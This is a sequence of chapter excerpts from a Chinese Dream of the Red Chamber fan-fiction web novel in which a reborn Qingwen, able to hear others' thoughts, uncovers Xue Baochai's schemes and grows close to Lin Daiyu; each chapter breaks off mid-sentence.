宝钗听了这话,回头四望,看无人往来,才说:“妈,怎么这么沉不住气。这话不该你张口,我自有办法让旁人传布出去。便是她知道我们与那府的一二桩旧事,也不妨碍。她一个丫鬟,手里没有实证,空口无凭哪有胆犯我们,只当彼此不识便罢了。” 薛姨妈一脸沉重,惊疑不定地问:“那就放任她在贾府里晃荡着?我这心里着实不安呐。” “妈且安心,要摆弄一个丫头还不容易么。我早在那屋里契了钉子,天长日久,还怕绊不倒她。”宝钗扶着母亲的肩,陪她坐了一会儿,半哄半劝地许久。 这一边,媚人心知今日出师不利,只得先从贾母处告辞出来。 到了下晌,凤姐、宝玉两个回来了。一路上晴雯因稀粥泼坏了裙子的事,与碧痕拌了嘴,没个好气。 刚换了身新裙子,出门去又遇见良儿躲在桥上藏金锞子,那是老太太才赏给宝玉的。联想到良儿将来还偷了一块美玉,于是二罪并罚,更把一股脑儿的气都移到了良儿身上,指着她的鼻头,恨五骂六的。 忽然听到不远处有个姑娘腹诽她。 “晴雯的性子太外放了些,要教育小丫头也该避人耳目,彼此便宜。此时若被舅母瞧见了张狂样,岂不又添一桩嫌隙。我还是跟舅母说两句话,让她看不见的好。” 晴雯想起上辈子的教训,猛地清醒过来,忙煞住了口,将良儿拥在胸前。 悄悄翘首一看,林姑娘正背对着她,跟王夫人说笑。原是林姑娘好心替她解了围。 自从得了这偶尔窥心的神通,晴雯听到的尽是别人对她的埋汰和讽刺,今日还是第一次听到有人真心实意地为她着想,不由分外感动。 连带气也消了,人也笑了起来,一边帮良儿擦眼泪,一边对她说:“你是好人家的女儿,以后千万自重自爱,可不能自甘下贱做盗窃的事了。这次我就饶你一回。” “再无下次了!我这就把金锞子还回去。”良儿唯唯诺诺地点了点头,匆匆回屋里去了。 她还是头一次见晴雯姐姐这样温柔,有一种受宠若惊的不真实感,反思自己之过,越发羞惭痛悔了。 “晴雯果然不错,还知道动之以情,晓之以理,阿弥陀佛,孺子可教也。” 晴雯听到林姑娘还在心里念佛,念她的好,嘴角更是忍不住地上扬。 此时的林姑娘款款送走了王夫人,在九曲桥上逶迤独行。她不过金钗之龄,却莲步袅娜,风姿绝丽,一阵晚风拂过,衣袂翩跹如仙子御风,大有弱不胜衣之态,冰清玉润,流盼凝光,怎一个超逸绝尘可以形容。 晴雯不觉看呆了,竟如桥柱一般一动不动,直到天边的夕阳下沉,再不见明霞万丈,金光如浪。一迈脚才知自己脚都站麻了,一边挪步一边捶腿。 忽见茜雪乐不可支地走上来,“晴雯,你听说了吗?老太太要将媚人姐姐开了脸,给琏二爷做房里人哩。” “什么?这是什么时候的事?”晴雯被吓了一跳,怀疑自己耳朵出了问题。 茜雪笑道:“就是今儿上午,媚人姐姐做了个丹凤朝阳的抹额送给老太太,老太太见她针线出色,人又好,心里一欢喜就把她许给了琏二爷。平姐姐方才过来,还补了金丝彩线,让她绣嫁妆呐。” 媚人姐姐做的分明是凤穿牡丹的抹额呀,难不成她用我的活计冒功邀赏,就为了留在府中做姨娘?想做我嫂嫂的话,只是骗我替她做活的谎言么?可茜雪说得确确凿凿,不像是没根据的风言风语。 晴雯心中仿佛被人扎了个冷刀子,一时愤怨气恼,甩开手一路直奔绛芸轩去。忽然又煞住了脚,拐弯去了贾母处找鸳鸯。 急匆匆回绛芸轩的路上,又与串门子的宝钗擦肩而过,只听她心中腹诽道:“情知胳膊扭不过大腿,就早该一根绳子吊死呀。两厢误会之下,看媚人还如何招架。” 晴雯听了这句话,一时恍然,强自镇定下来,又想起先前媚人担心薛家的瓜葛,眼下又被证实了,莫非有什么前情被她忽略了。 她扭头回去,故意问宝钗道:“宝姑娘可听见我们屋里的新闻了?” 宝钗体态微丰,面莹如酥,回身莞尔一笑:“哪有什么新闻,宝兄弟肯温一温书就是大新闻了。”说着就自顾自地踱步离开了。 却听她在心中暗忖:“晴雯偏狭憨愚,恃美而骄,惯常眼里容不得沙子,正好借她的尖牙利嘴引风吹火,让媚人被凤丫头治死,也省得我两边饶舌,自毁端方。” 晴雯不觉抽了一口冷气,浑身鸡皮疙瘩炸起,没想到从来敦厚平和的宝姑娘,竟是这样心怀叵测的人。 媚人姐姐到底如何得罪了薛家人呢?薛家竟是一心要把人弄死的地步。 想到事情并不简单,晴雯没有急吼吼地问媚人到哪里去了,反倒是照常一样,服侍宝玉更衣吃饭。 袭人一边捧汤一边说:“平姑娘回来后,就把媚人姐姐叫走了,说是有桩大喜事呐。” 宝玉好奇问道:“什么大喜事?快说来我听听。” 袭人笑而 7. 春绾晴黛第七回 《[红楼]春绾晴黛》全本免费阅读 忆旧事媚人怨憎会,取私物晴雯求不得 媚人瞪大了眼睛,愕然地望着晴雯,良久无言。 她是个嘴紧的人,否则义忠王府出事后也不能安稳活到今天。但是被晴雯委婉点到这个份上,她说与不说都没什么分别了。 “这事多一个人知道,就多一个人性命不保,你是个爱玩乐的闲人,藏不住话,心思又浅,何必趟这浑水。”媚人还是不愿意说。 晴雯知晓自己从前的形象不大稳重,便也不追问,只把头歪在媚人肩上,揽着她的腰说:“好姐姐,我什么都不问。你若有什么要嘱咐我的尽管说,我都听你的。” “你倒是长进不少,直肠子也会拐弯了。”媚人斟酌了一会儿,只说了一句:“你以后多提防着宝姑娘,她素性心口不一,寻常人看不透她。” 晴雯知道媚人的话,言尽于此,断不肯再说明白一些。她想了一会儿,开始诱导媚人在心里念及“情”字。 “前儿宝玉还说宝姑娘的金锁与他的玉是一对。莫非宝姑娘对我们二爷有情呢?”晴雯装傻充愣地说。 媚人眉头一皱,连连摇头:“刚夸你长进,你又糊涂了。什么情不情的,婚姻大事尊父母之命媒妁之言,哪是你能浑说的。” 而此时媚人心中想的却是:“情什么情,薛姑娘那样高傲的人,怎会看得上我们糊涂呆傻又不奋志的小爷,或者说她根本是无情种,看不上世间任何一个男人。 这世上恐怕只有我一人知道,薛父在世时,常与义忠王来往,暗中输送谋逆的银两辎重。而薛大姑娘与义忠王世子有过口头婚约。 金玉良姻不过是薛姑娘安抚母亲的一个幌子,一个退而求其次的保家之法。薛大姑娘应是想通过选公主伴读进宫,伺机为义忠王世子报仇。 这个仇也不是简单的弑君篡位,而是要影响陛下重拟国策,在朝堂上流布宣扬儒商并重、开放海禁的方针。 若非主家起事前,我曾偷听到她与义忠王世子的对话,否则也根本不会知晓。一个十一二岁的闺阁少女,竟有如此宏志。” 听了媚人心中回忆之事,晴雯只觉脑中受了针刺一般,原来宝姑娘不爱花儿粉儿,穿戴素雅,竟是在为义忠王世子守望门寡。 而这个孝竟也不是为情而守,是为志而守! 宝姑娘的所思、所想、所为,远远超出了晴雯可以理解的范畴。 只是她虽不智,也知道天下商人逐利轻义的多,诚信无欺的少。一旦举国重商抑农,那千万耕者,恐怕将无田可种。 纵然宝姑娘的大志再如何宏伟,眼下她妄图掩盖重罪,戕害无辜,终归是大错特错的。 晴雯无暇多想,又怕这绛芸轩四处漏风,稍有行差踏错,就会害了媚人。两人耳语了一番,决定先将计就计,表现出二人闹掰的样子来。 没过多久,两人就在里头高声吵起来,晴雯骂骂咧咧摔帘出去了,而媚人红着眼圈抽抽噎噎的。 袭人走过来对媚人说:“怎么我一会子看顾不到,就出事故了,姐姐知道她脾气犟,就多让着她一点儿罢。” “晴雯脾气极好,只是舍不得我走,撒性子呐。”媚人故作坚强,不肯诉委屈。 “姑娘有了好前程,晴雯那蹄子心高气傲,难免妒醋。过一阵子就好了。”袭人自以为心知肚明,劝慰了她几句,就去里间哄宝玉了。 媚人暗忖袭人又打算寻隙“安慰”宝玉,转头又去请李嬷嬷来屋里喝茶,商量下宝玉外书房绮霰斋修葺的事。 “嬷嬷也知道的,我们小爷在这屋里是无心读书的,只是不知绮霰斋还缺了什么,三五月了怎的还没修好?” 李嬷嬷捧着热茶渥手,慢条斯理地说:“窗框子才装上去,还没糊纸,年底怕是修不好了。” “嬷嬷也请催一催外头的工匠,趁这几日天晴,还是早日竣工的好。”媚人扯了两句闲篇,又看向里间道:“宝玉晚上没吃饭就渥着了,也不知是不是病了。” 一听这话,李嬷嬷忙搁下茶,掀帘进去瞧。宝玉正与袭人着紧温存,突见李嬷嬷闯进来,只把两个人唬了一跳,慌忙左右散开。 李嬷嬷是积年的老人,什么世面没见过,哪里不知他们起先在干什么。 若非顾及宝玉的脸面,她早发脾气教训毛丫头了。此时天已黑了,不便生事,不过嘱咐宝玉照常吃饭云云。宝玉耐着性子与老人家磨牙,好赖又喝了一碗汤,李嬷嬷才安心走了。 “这老货来得可真是时候。”袭人后悔自己行事不谨,正犯到了李嬷嬷手里,一面安慰自己,老太太早将自己给了宝玉,便是被人知晓了,也无伤大雅。一面琢磨着如何把这讨人嫌的老嬷嬷给撵出去。 眼下宝玉、黛玉两位小主子还跟着贾母住着,一个住东厢绛芸轩,一个住西厢。人来人往、人多嘴杂的,袭人行事多不便宜。只盼着老太太能想起来,爷们儿大了,常在内帷厮混不妥当,将宝玉安置出去才好。 此时晴雯正在西厢黛玉处,与紫鹃说话,她想起后来抄检大观园时,但凡包袱衣箱里有男子物件的丫头,都被撵了出去。虽说没祸及林姑娘的潇湘馆,到底宝玉的东西多少留在了林姑娘处,未免遗祸将来,她还是早点把那些东西搜罗回去。 “宝玉总是丢三落四的,我怕年底嬷嬷们对账,少了东西难说嘴。想来大多都忘在林姑娘这里了,所以来取回去。”晴雯简明说了来意。 紫鹃点头道:“可巧,我们姑娘日常就想着这一出,每每宝玉换下的寄名符、披带、扇套、荷包等物,都由我收拣起来了,只等着你们什么时候想起来取。”说着就回房拿东西去了。 “还是林姑娘细心周全,宝玉就想不到这些事。”晴雯见黛玉拆了发髻,正在妆台前摘耳环,不由走过去拿起梳子为她通发。 晴雯站在黛玉身后,两人在镜中相视一笑,黛玉褪下戒指放在妆奁内,笑说:“眼下天都黑了,你才来取,等会子拿个大包袱出去,不怕林大娘瞧见了挂误你,白打一出盗窃官司。” “姑娘真是处处为我着想,我就是想着天黑才好行事。”晴雯向镜内一笑,又低头为黛玉梳发,她的头发柔顺乌亮,把在手里滑腻如绸。 8. 春绾晴黛第八回 《[红楼]春绾晴黛》全本免费阅读 贾时飞扶册如夫人,薛文龙饥馋美香菱 贾雨村因东宫提携之故补了礼部京官,只是官高职闲,反倒不如金陵应天府尹有实权,算是明升暗降了。但毕竟东宫名头不小,他虽惶恐狐疑,倒也不至失了方寸。此次扶册如夫人娇杏做正房,特意以续弦之由设馔摆酒,款待同僚,也是一次试探之举。 若贾、王两府欣然赴宴,则无嫌隙,可以照旧往来,他连从前的学生林黛玉都下了请柬,为的就是彰显自己不曾忘本。若两府及林家人不来,那就很可能朝堂之上不得照拂了。 这边贾政与王子腾商榷了一下,摸不准东宫是个什么意思,都推脱忙不去,只交待宝玉去应个景即可。 宝玉原本不赖烦应酬,听闻黛玉有意同行,心头大喜。事无巨细地交待紫鹃替黛玉准备出门的行头,恨不能她插什么钗,戴什么簪都要一一过问。 只是贾母不放心他二人小孩子家家的单独出门,又见凤姐要在家养胎,王夫人、邢夫人各有人情往来。临了把薛姨妈这个闲人请了过来,千叮咛万嘱咐,让她一路陪同照管二玉。 薛姨妈原本带着丫鬟同喜出门,哪知香菱蹦出来,求请同行。薛姨妈心知香菱渐大了,薛蟠为了求占香菱,在自己面前打了多少饥荒。此时若抛下她去了,难免会被儿子纠缠,倘或在梨香院闹出事故来,岂不被亲戚笑话。思来想去,薛姨妈就将香菱一并携带了。 仕宦勋贵之家都重颜面讲排场,出门会客,没有不盛装打扮的。就连带出去的丫鬟小厮,也专挑模样清俊标致的,方不失世家派头。晴雯就成了宝玉外带的第一人,起先她还百般不愿意妆饰,得知林姑娘也一起来了,立刻撇下宝玉,挤到林姑娘的轿子里去了。 宝玉不想一人独坐轿里,只得猴在马上随轿前行。 在寸土寸金的京城,贾雨村三进的小院子诚然是不够看的。但是他能在这么短的时间内,措办到这样地段合宜、花园齐整的宅院,由此不难猜想他在金陵应天府捞了多少油水。 进了花厅,男女隔湖分席。晴雯见茗烟被宝玉捎带出来,想是不必在圊厕行苦干了,一时心气不顺,扭头又追着林黛玉进了女宾席。薛姨妈怕宝玉少了个人伺候,忙叫同喜去男宾席看顾着。 因为女宾席没有主母周旋迎待,只有管家娘子张罗席面,宾客言谈间就少了顾忌。黛玉听到周围吃酒的女人议论,贾雨村续弦的夫人,原是个丫头立了妾,先头太太去了,又扶了正的,可见是个极有气运的人。 得知新师母竟是丫鬟出身,黛玉听了气闷,“我先师母含辛茹苦伴夫十年,一夕撒手人寰,竟是为她人作嫁衣裳。” 薛姨妈笑道:“我的儿,男子显贵多弃糟糠,世间也少有鳏夫不续的,而况麻雀窝里飞金凤也不是奇闻。凭你是丫鬟贫女,再醮之妇,只要月老的红绳绊住了贵人的脚,终究是大富的命。也有青梅竹马,两小无猜的,亲朋上下都认准了是一对,偏偏阴差阳错,一个命薄寿短,两个生死相隔,再不能结缡的,可不就便宜了后来人。” 乍听见薛姨妈的这番说辞,晴雯觉得有几分道理,后一细想,她老人家可惦记着撮合金玉良姻,府中上下都知晓老太太更希望两个玉儿配,她此刻说什么命薄寿短,岂不是暗咒林姑娘。 她气上心头,小嘴一撅,贼笑道:“我见薛姨妈颇有感触,必是孀居苦闷,念起先去的薛姨爹了。” 撂下筷子,薛姨妈的脸色登时不好了,黛玉忙伸手去打晴雯:“你这小蹄子,姨妈的事也是你能说的。” 薛姨妈见四围宾客都悄然探头过来,只得讪讪一笑,低头假装抹了抹眼角。 黛玉不由感慨:“麻雀若肯历劫淬炼,飞升成凤那真是好造化。最恨人心险恶,使些鬼蜮伎俩雀占凤巢。只可怜那无家可归的凤凰,无辜受难,有命无运罢了。”她轻叹了一声,却发觉有个人与她一同嗟吁。 原是身后的香菱听了这番话,一时自怜身世,感慨伤怀,又不敢在人前淌眼抹泪的,只好长吁短叹起来。 黛玉食欲不佳,又觉宴席人多气杂,想离席去敞快处坐坐,薛姨妈忙着与同桌贵妇交际,便嘱咐香菱陪同照顾。 紫鹃理应跟着林姑娘的,奈何晴雯快她一步,先跟上去了,只得留在原地,免得姨妈有事找不到人。 黛玉三人走到不远处的歇山半月亭,坐在鹅颈靠上闲聊,谁知廊下远远走来一主一仆,那女主还穿着鲜红的嫁衣,正是黛玉的新师母娇杏了。 走近看时,只见她脸白声粗,一路恨声道:“她们都是二分钱的醋,又酸又贱。我是丫头出身又如何,如今是京官太太了,她们还敢胡唚嚼毛,骂我儿子是小婢养的,真当我是聋子哑子,不敢吱声么!” “太太何必为那起子嚼舌小妇生气呢,改明儿把她们都撵出去,您就心静了。”小丫鬟一路搀扶安慰着女主子。 娇杏气狠了,脚下没留神,在台阶上绊了一跤,香菱赶忙上前帮扶了一把,两人撞了个对脸儿。 心知有人搭了一把手,娇杏抬起头来,刚要道谢,见到那眉心一点胭脂痣,登时悚然后仰,幸而有丫头及时撑住了,她才没跌个大跟头。 黛玉还未及向新师母问好,就见她急脚鬼似地转身跑了,颇有几分落荒而逃的意思。 “真不知这女子有何过人之处,也未见得品貌行止比人强呀,怎么就好命的做了官太太呢。”晴雯摇了摇头,百思不得其解,忽然耳畔又传来一阵陌生的心声。 “情何以堪,我竟见到了甄英莲!如今我被老爷扶了正,可怜她被拐后为奴为婢。去年判案时,我就向老爷求情,让英莲回甄家找封氏。可老爷为了仕途,讨好贾府和薛家,叫我把这事烂在肚子里。如今对脸见了个正着,相隔十年,我一眼认出了她眉心的胭脂痣,她却认不得我这个老丫头了。” 晴雯望向香菱,一时目瞪口呆。 她,她竟认得香菱,而香菱竟是贾太太的旧主!更可恨的是那贾雨村枉为父母官,他认得香菱,竟硬生生见死不救。 香菱嘻嘻拍着手上的灰:“方才那位新太太看着好生面善,像是从前旧相识。” 她的无心之言,更揪扯起晴雯的万千心绪。晴雯满眼蓄泪,又不敢叫人发现,举袖胡乱一抹,撒了个谎说:“我口渴,去门房讨杯茶喝。”说着就急 9. 春绾晴黛第九回 《[红楼]春绾晴黛》全本免费阅读 羞堪言停机训呆兄,怜孤弱咏絮慰骄婢 “我名绛珠,原生离恨天外。” “我送你一窍,开你灵犀一点。” “她是我簪鬓之灵,为我所有,岂容冥界下僚造次来犯!” 被封印的记忆,如潮涌一波波向晴雯涌来,梦中仙子的模样与眼前的姑娘渐渐重叠,融为一体。 耳畔还有紫鹃与雪雁渐行渐远的笑闹声,鹦鹉扑翅,日影东升,一切简单美好,平和温馨。晴雯的眼泪却像断了线的珠子,吧嗒吧嗒地滚落下来。 黛玉见她一味抛珠洒泪,又不言语,一面拿帕子替她揩眼泪,一面忧心道:“你这丫头怎么了?谁给你委屈受了不曾?” 晴雯哭着摇头,喉头哽得难受,她想把前世遭遇和仙子的前缘,一股脑儿地倾吐出来,可是张口结舌,竟一个字也说不出来。 她见到书案上有纸笔,又忙跑过去抓起笔写,可是手抖得厉害,才落了几个字,风吹纸飞,翻覆之下又污了笔墨。 她摁住纸再度铺平,狠心咬破手指,蘸血为墨去写,哪知窗外一道惊雷劈下,轰隆一声,只把她吓得扑倒在地上。 冬雷,兆恶。 终于,晴雯意识到这就是天机不可泄露,那些事、那些话,她一个字也不能透露,否则会遭天打雷劈之刑。 “你先别急,咱们慢慢说。”黛玉将晴雯扶到榻上坐下,轻轻拍了拍她的手,道:“我虽在此间为客,不是你的正经主子,但咱们好了一场。你放心,若有什么难言之隐,既不能说也不便写的,但凭我一颗心在这儿,总能体悟一二,为你解忧。” 晴雯心中翻腾的泪意,都被林姑娘温暖熨帖的话给抚平了,双眸含泪糯糯地喊了一声:“姑娘。” 紫鹃端药进来,见一地纸飞,忙搁下药碗,去关窗户,嘴里说道:“方才打了冬雷,可把人吓坏了。老太太还嘱咐我们今儿不要出屋子了。” “我来喂林姑娘服药吧。”晴雯小心端起药碗,用汤匙搅了搅,只觉得药汤浓稠,苦味逼人。 又见黛玉身纤体弱,面色惝恍,一想到她自会吃饭时便吃药,一日未断,晴雯也是受过病苦的人,哪能不知其中滋味。又想到黛玉从小失母,不日又将丧父,晴雯更是心如刀绞,疼得难受。 绛珠仙子到人间历劫,竟比我等凡人苦百倍千倍,我受的那点委屈烦恼,又算得了什么呢。 晴雯正喂黛玉服药,门口的婆子传:“宝二爷来了!” 紫鹃笑道:“我去倒茶。” 晴雯骂宝玉道:“什么稀客,门槛子都被你踩烂了,也配吃茶。” 宝玉只当没听见骂声,走进屋内连三问:“妹妹身上可大好了?昨夜里睡得可安?早起吃的桂圆粥你觉得香不香甜?” 嗅到室内药汤残香,清气怡人,宝玉不禁又深吸了两三口。 “我听闻药中有君臣佐使之说,也论阴阳相配。妹妹的药香我闻得神清气爽,必合了我的阴阳。” 黛玉见他又犯了痴病,转眸笑道:“再香也是药,无论是冷香还是暖香,阴药还是阳药,是药三分毒,哪能贪享。” “你两个早起问灵素呢。”宝钗走进来,搓了搓手道:“宝兄弟岂不闻,那药里不但有君臣,还有母子兄弟,有相畏的,相恶的,相杀的,断不能混吃。” “宝姐姐通今博古,连药理都知道。”宝玉见宝钗今天罕见地靓妆倩饰起来,不由好奇,当着黛玉的面又不便详询,只好问:“姐姐从哪里来?” 宝钗笑道:“从姨娘那里来。你哥哥要纳香菱为妾,我母亲正与姨娘商议,今晚在梨香院,明堂正道地摆两桌酒。” 晴雯登时沉下脸来,端着药碗哼声道:“香菱年纪只怕还没有我大,癸水都未必来了,一年半载都不等,就这么急吼吼地给人做妾!果真是半途拐的野鸭子,没德行的小杂毛,一心巴高望远,脸面不要,廉耻不顾,说出去朱门大户簪缨世家,谁人不笑。” 她明着是骂香菱迫不及待攀高枝,可谁不知道,她骂的是没品的薛家、无德的薛蟠。 宝钗没想到这小丫头尖牙利齿,竟半点情面不讲,一时羞愧无言,左见黛玉一脸愠色,右见宝玉满心怏怏,便知他们都不大痛快,自己红着脸讪讪地走了。 等宝钗离开,宝玉连连嗐声跺脚,怨恨道:“多好个灵秀清洁的女孩儿,也不知前生犯什么罪孽,竟配了那么个腌臜夯货。我为香菱一大哭。”说着就伏在桌上,呜呜咽泪。 黛玉摇头道:“哭倒长城又何用,二哥哥若有胆量,跟老太太一说,把人要过来就是。” 宝玉一哽,再无话说,灰溜溜地走了。 门外袭人一手拉住宝玉,一边勾脖喊:“晴雯,你死在这儿了,怎么还不回去?” 晴雯怒气未消,扬声道:“我死哪儿与你何干,给你们偷鸡戏狗的腾地方,还不乐意么?” 黛玉忙掩住她的嘴,批评道:“晴雯,你造次了。” 晴雯低头不语,面带愧色,心想她今日肝气大逆,一骂二骂连三骂,实在太过张狂了,必然叫林姑娘不喜。 谁知黛玉推开了窗户,对阶下的袭人说:“我留晴雯描花样子,下晌再把她还回去。” 袭人惨白的一张脸,这才回过血来,勉强笑着离开了。晴雯是想把她的事吵嚷得世人皆知,定要把她害死不可吗! 午饭过后,黛玉打发紫鹃、雪雁去歇中觉,只把晴雯留在枕边。 晴雯知道是时候对黛玉说一说自己的心事了,她从床上坐起,斟酌了言辞,方说:“姑娘,昨儿我去贾家门房讨茶喝时,听到了贾太太与心腹的对话。她认出了香菱眉心的胭脂痣,说她本名叫甄英莲,贾太太未嫁之时,就是在甄家做的丫鬟。而她明知道旧主蒙难,竟不肯援手相帮。” 一听这话,黛玉不由大惊,也坐起身来,捧心道:“竟是这样!可怜的香菱,原是好好的大家小姐 10. 春绾晴黛第十回 《[红楼]春绾晴黛》全本免费阅读 谈避谶黛玉禳恶祥,切脉息晴雯知痼疾 晴雯走到梨香院外,恰听到了薛蟠的恶毒心思,更是义愤填膺了,想起上辈子薛蟠纳了香菱,也不过新鲜了半个月,就当她是脚下泥。 这样的糟污汉子,命案在身,成天为非作歹,合该断子绝孙,哪里配娶妻纳妾。 原本想等那呆霸王出门或者回房挺尸去,再进去找宝钗,奈何他偏就守在院子里,不挪位置。 晴雯只得迈进去,扬声道:“宝姑娘,我们姑娘有要紧的事找你呢。” 薛蟠腹中正咕咚着坏水,乍见一个俏丽窈窕的小鬟进来,那模样好生标致清秀,柳眉凤眼,粉面桃腮,堪比六月的水芙蓉,脸上光洁莹润,仿佛能掐得出水来,再多的他也形容不出。只觉喉头滑动,咽下许多涎水,已把香菱扔到了脑后头。 晴雯狠瞪了他一眼,扭过脸去。 宝钗走出来,正见着亲哥的丑态,越发难堪,拉了晴雯就出了梨香院。 她知晓这丫头脾气暴躁,若是因他哥哥冒状了,又骂出什么好赖话来,那她可就没脸了。于是转话头说:“你方才说你们姑娘找我,可是故意刻薄宝玉的话。” 晴雯一时哑然,她心里早把黛玉当成自己的主子了,“我们姑娘”顺嘴就溜了出来。 “哪里,我说的是林姑娘。”晴雯解释道:“我们奴随主性,宝玉对林姑娘千好万好,我们自然也把林姑娘视为主子。” 宝钗心中微动,一面走一面笑道:“我留心瞧了些日子,你们哥儿对姐妹们都好,对你们这些丫头更是好上加好,怪不得府里都说宝玉房里个个副小姐。” 晴雯听她的口气,似醋非醋,似讽非讽,总之听在耳里不舒服,冷笑道:“这副小姐谁爱当,凭她当去,将来总有散的一天。” “瞧你这口气,倒是那屋里有谁惹你受气了,莫不是宝兄弟冒犯了你?”宝钗揣度道。 晴雯横眉道:“奴才受主子的气是天经地义,什么冒犯不冒犯的。” 见她如此反应,宝钗已料定是宝玉之错,“他一个呆性少爷,你和他怄什么气,还赌咒发誓地要出门子,我做个和事佬,替他赔不是。” 晴雯一时哑口,心想:我何曾和宝玉怄气,何曾闹着要出门子?怎么话到她口里,就变了意思。 黛玉已在老太太、太太、凤姐那里打了前阵,又担心香菱,走到半道上迎晴雯她们。 不防听到宝钗调三斡四的话,不由暗想:晴雯这傻姑娘,三五句就落进人家的话套子里去了,看我替你弹压她。 晴雯听得心头一喜,乐颠颠地跑上来,忙将黛玉搀住。 黛玉扶着晴雯,抿嘴一笑,而后道:“怪不得今儿打冬雷了,连宝姐姐这样的好人,都苦口婆心替别人教起丫鬟来了。姐姐家里纵有喜事,漫天撒糖前,也要先甜了自己的嘴不是。” 这分明的刻薄话,只把宝钗气得脸红,又自知理亏不好发作,只得生忍了,忙问:“妹妹找我有什么事?” “还请姐姐到屋里说罢。”黛玉扬手作请,身姿挺拔,风度卓然,不见方才小女儿的尖酸态。 宝钗沉心,一时想不到是何事,不由也肃了容。 黛玉与宝钗对面坐定,开诚布公地说:“方才老太太说了,冬雷不祥,年底不宜婚嫁。还请宝姐姐回去与姨妈商议,纳妾之事暂缓一年。若非纳不可,也可先举家搬离贾府,去贵府上自行操办。 再则舅母也思香菱命苦,恐是前世积孽太重不能自偿,所以拖累你们又是背官司又遭骂名的。若不放她在我这里,抄一年佛经消消罪衍,只怕来年你们还有倾家荡产的凶险。” 晴雯刚捧上茶来,就听到宝钗抽了一口长气,怔在那里,难以驳证。 听了林姑娘这番机锋外露的话,晴雯简直佩服得五体投地。 薛家人势弱,需依傍贾府庇护,断不肯为一个小小的香菱搬出贾府的。更何况宝姑娘最爱惜羽毛,平时众人也不会在她面前谈及薛蟠的罪过,如今黛玉公然昭布出来,还打着为薛家好的旗号,她哪里还有回绝的余地。 宝钗扶桌站起,无精打采地说:“知道了,我这就回去说。” 她本不赞同薛蟠这么早就纳妾,早有劝阻之意,没曾想倒让人反将一军,凭白受了这一通埋汰羞辱,难免满心气忿。 “慢着!”黛玉叫住她,伸指在桌上的一叠熟宣上敲了敲,“姐姐先回去派人收拾了香菱的衾褥妆奁,顺道喊她这会子就过来抄经吧,舅母掐着念珠,一日都少不得。” 宝钗勉强扯出个微笑,答应着去了。 晴雯见林姑娘旗开得胜,宝钗铩羽而归,不由得陇望蜀,“好姑娘,我也想长长久久在这屋里陪你,姑娘也替我想个话由。” 黛玉瞥她一眼,指着对面绛芸轩说:“这还不简单,你只叫宝玉跟舅母说,怕香菱独自抄经面薄难堪,伤了亲戚情面。派你小晴雯添香作陪,也为他消灾积福,舅母哪有不允的。” “我的好姑娘,你可是天下第一聪明人!”晴雯喜得拍手叫好,立刻就往门前跑,转身又兜转回来,满心苦恼:“我虽识得几个字,只没拿过几次笔,要抄一年佛经,苦哉苦哉!” 黛玉笑道:“佛祖面前岂可欺诳,只说抄一年佛经,又没说一天抄几篇,诚心一天抄一个字也叫抄。” “阿弥陀佛,我的姑娘真真实诚君子也。”晴雯心领神会,双手合十,虔心拜了数拜,而后雀跃地跑到绛芸轩去了。 “晴雯这小蹄子又兴头什么呢?”平儿掀帘进来,对黛玉说:“方才王太医给你琏二嫂子安胎,等会子他就过来给你请脉。” 黛玉笑问:“琏二嫂子可好?肚里的小侄儿可好?” 平儿笑道:“都好着呢,劳姑娘费心了。”说着把手里的一盒子湖笔递给了紫鹃,“姑娘要的抄经笔,我也送过来了。” “多谢平姐姐了。”黛玉知道凤姐安胎,平儿最是繁忙,也不多款留,好生送她出去了。 晴雯与宝玉絮叨完要陪香菱抄经的事,回转这边来,只见室内一片静寂,丫头们都避进耳房,婆子们也个个都敛气屏息,一声儿也不言语。 她不由放轻了脚步,拂开绣线软帘,王嬷嬷守着暖阁幔帐,太医王济仁正坐于绣墩上,三指搭 11. 春绾晴黛第十一回 《[红楼]春绾晴黛》全本免费阅读 减父疾恭书维摩诘,盼良医献技哆罗呢 因黛玉要回扬州去,西厢里丫鬟婆子登时忙将起来。黛玉一面吩咐雪雁打点长行的衣履衾褥,一面亲自检视药材、药戥、药筛等物,一面又让紫鹃籍册各色土仪,一面嘱咐留守的婆子,勿忘照看廊下鹦鹉、园中花木。 晴雯无所适从地站在其中,看着众人各自奔忙,觉得自己碍手碍脚,毫无用处。她眼下既不能阻止林姑娘南下,又不能让林姑爷不死,终究是不能与林姑娘长处么? 恰时,莺儿、臻儿抱着铺盖行李,将香菱送了过来。莺儿才知黛玉要走,不由问:“林姑娘要走了,咱们家香菱可怎么办?” “不妨事,她依旧住这里,我已经安排好了。”黛玉将手头的事放下,拉着香菱坐到榻上,“半月后要回家侍父疾,不能与你久处。你也不必慌张,年底不用上学,我请了三姑娘、四姑娘与你同住西厢。三姑娘善书,四姑娘崇佛,正好伴你抄经。” 香菱虽不甚明白,林姑娘为何莫名叫她来抄经,但能借此暂离薛蟠的魔爪,她早在心里千恩万谢了,只不便说出口来。 莺儿又拉着臻儿的手说:“她叫臻儿,是服侍香菱的丫头。”这丫头原是等香菱开了脸,才能给她使唤的,眼下为了给薛家挣脸面,提前将她送过来。 知道香菱本姓“甄”,黛玉不由问:“哪个真字?” 香菱拉着黛玉的手,在她掌心一笔一划地写:“这字笔画虽繁,可我喜欢这字音,又取善果臻身之意,只求将来美中臻至。” 黛玉望着她秀丽的侧颜,光洁明媚,如枝头春杏一般,眼眸清澈绽光,唇边笑意微漾。眉心一点胭脂痣,透着纯真超然的灵气。 忽然想,她的内在遗世独立,从未被红尘浊流染污过,记不记得本姓又何妨。 屋里的东西渐渐归置妥当了,香菱的住处也安排好了。黛玉从贾母处吃过晚饭回来,香菱迫不及待地拉着她讲文论诗,什么平仄虚实,什么摩诘青莲。 晴雯见她二人谈兴渐浓,逸致横飞,大有彻夜通宵的意思,不觉拉长了脸,三不五时催她们睡觉。 好容易西厢人静了,晴雯倒睡不着了。还有十几天林姑娘就要走了,她一个人还在西厢待着有什么意思呢。 她要想个法子陪林姑娘下扬州,既然王太医的叔祖能救林姑娘的命,那他必然也能救林老爷的命。只要林老爷长长久久地活着,林姑娘的苦就能少一大半了。 晴雯左思右想,心里有了主意,起身点灯,打开针黹盒,找出一把西洋银剪子,先把蓄了多年的指甲剪去一半,而后捋了金线来劈,只把一根线细劈了二十四丝。 次日起黛玉与香菱就开始白天斋戒抄经,晚上讲谈诗词。因黛玉心忧父之疾,香菱苦诵摩诘诗,两厢合计倒是抄《维摩诘经》最恰切,毕竟经文中维摩居士得病是假,以病启智是真。 